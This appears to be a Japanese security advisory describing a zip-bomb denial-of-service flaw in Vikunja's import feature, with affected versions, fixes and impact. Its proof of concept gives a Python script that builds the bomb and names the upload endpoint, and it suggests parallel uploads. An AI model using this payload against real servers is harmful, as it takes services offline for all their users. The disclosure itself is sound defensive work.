Vikunja: データインポートにおける、圧縮解除爆弾によるサービス拒否攻撃

### 概要
Vikunjaでは、データをzip形式でエクスポートし、それを再度インポートすることができます。インポート機能は、アーカイブの展開サイズ、ファイル数、またはユーザーが消費できるストレージ容量に制限を設けていません。また、処理中にアーカイブ全体をメモリに保持しているようです。アーカイブが圧縮されているため、高い圧縮率を持つコンテンツで構成された約20MBのアップロードは、インポートされると数十ギガバイトに展開されます。巧妙に作成された単一のアップロードで、サーバーのメモリを使い果たしたり、ディスクをいっぱいにして、システム全体を停止させることができます。この攻撃は、ユーザーが複数のインポートを同時に開始できるため、繰り返し実行したり、並行して実行したりすることができます。

### 詳細
インポート機能は、組み込みのエクスポート機能が生成するのと同じレイアウトのアーカイブを受け入れます。具体的には、プロジェクトとタスクを記述するマニフェストファイルと、それらのタスクが参照する添付ファイルが含まれます。アーカイブ内の個々のファイルはサイズがチェックされますが、展開後の合計サイズやファイル数に上限はなく、また、ユーザーごとのストレージ制限もありません。さらに、サーバーは添付ファイルを書き出す前に、すべてをメモリにバッファリングしているようです。そのため、メモリの使用量は、一度に展開されるすべてのファイルの合計であり、ファイルごとに処理されるものではありません。

圧縮が重要な要素です。同じバイト(例えばゼロ)が繰り返されるファイルは、約1000分の1にまで圧縮されます。したがって、アップロードサイズ制限(約20MB)内に収まるアーカイブでも、サーバーはそれを展開して、数十ギガバイトのRAMを使用し、ディスクに書き込むことができます。メモリが上限に達すると、プロセスが終了し、ディスクがいっぱいになると、インスタンス(およびそのホスト上の他のすべてのもの)が停止します。インポート処理はシリアル化されていないため、ユーザーは複数のインポートを並行して実行することで、より迅速に制限に達することができます。

修正点は、アーカイブ全体の非圧縮サイズの上限を設定すること、各ファイルをメモリにすべてバッファリングするのではなく、ディスクにストリーミングすること、ユーザーごとにストレージの割り当て量を設定すること、そして、あるユーザーに対してインポート処理がすでに実行中の場合に、新しいインポートを拒否することです。

### 概念実証
攻撃者は、インポート機能を使用できる通常のユーザーアカウントが必要です。

1. 約200個のタスクを含むzipファイルを、エクスポート形式で作成します。各タスクは添付ファイルを参照し、約200個の添付ファイルがあり、それぞれが18MBのゼロバイトで構成されます。ゼロで埋められたこのファイル全体は、約4MBに圧縮されます(アップロード制限を下回ります)。

```python
#!/usr/bin/env python3
import argparse, json, os, zipfile

CHUNK = b"\0" * (1024 * 1024)

def build(out, n, size, version):
tasks = [{"title": f"t{i}", "attachments": [{"file": {"id": i, "name": "a"}}]}
for i in range(1, n + 1)]
data = json.dumps([{"title": "bomb", "tasks": tasks, "child_projects": []}]).encode()

with zipfile.ZipFile(out, "w", zipfile.ZIP_DEFLATED, compresslevel=9) as z:
z.writestr("VERSION", version)
z.writestr("data.json", data)
for i in range(1, n + 1):
with z.open(f"files/{i}", "w") as f:
for _ in range(size):
f.write(CHUNK)

raw = n * size * 1024**2
print(f"[+] {out}: {os.path.getsize(out)/1024**2:.2f} MiB "
f"({raw/1024**3:.1f} GiB uncompressed)")
```

```python
p = argparse.ArgumentParser()
p.add_argument("-o", "--out", default="bomb.zip")
p.add_argument("-n", "--files", type=int, default=200)
p.add_argument("-s", "--size-mib", type=int, default=18)
p.add_argument("--version", default="v2.5.0")
a = p.parse_args()
build(a.out, a.files, a.size_mib, a.version)
```
3. インポートエンドポイントにアップロードします。
```
PUT /api/v1/migration/vikunja-file/migrate
(multipartファイルアップロード: 作成されたzipファイル)
```
4. サーバーを監視します。数秒でメモリ使用量が3.5GBに達し、ディスクは展開されたファイルでいっぱいになります。 通常の環境では、このプロセスがメモリ不足で終了するか、ディスクがいっぱいになり、インスタンスがすべてのユーザーに対して応答しなくなります。
制限に確実に到達させるために、この操作を繰り返すか、複数のアップロードを同時に送信します。

(ステップ1で、まずご自身のデータを一度エクスポートし、返されるzipファイルを検査することで、正確なアーカイブの構造を把握できます。)

### 影響
サービス拒否(可用性)。認証された1人のユーザーが、単一のアップロードによって、サーバーのメモリ使用量とディスク使用量を数十GBまで増加させ、プロセスを停止させたり、ディスクをいっぱいにする可能性があります。 これにより、インスタンス全体がすべてのユーザーに対して利用できなくなります。 また、ディスクがホスト上の他のサービスと共有されている場合、それらのサービスも停止する可能性があります。 管理者権限も、被害者とのやり取りも必要ありません。 データをインポートできるアカウントがあれば十分です。 復旧には、オペレーターがメモリ/ディスクを解放し、部分的に書き込まれたインポートをクリアする必要があります。

影響を受けるパッケージ:
- go code.vikunja.io/api: 影響を受けるバージョン <= 2.5.0、2.6.0で修正済み。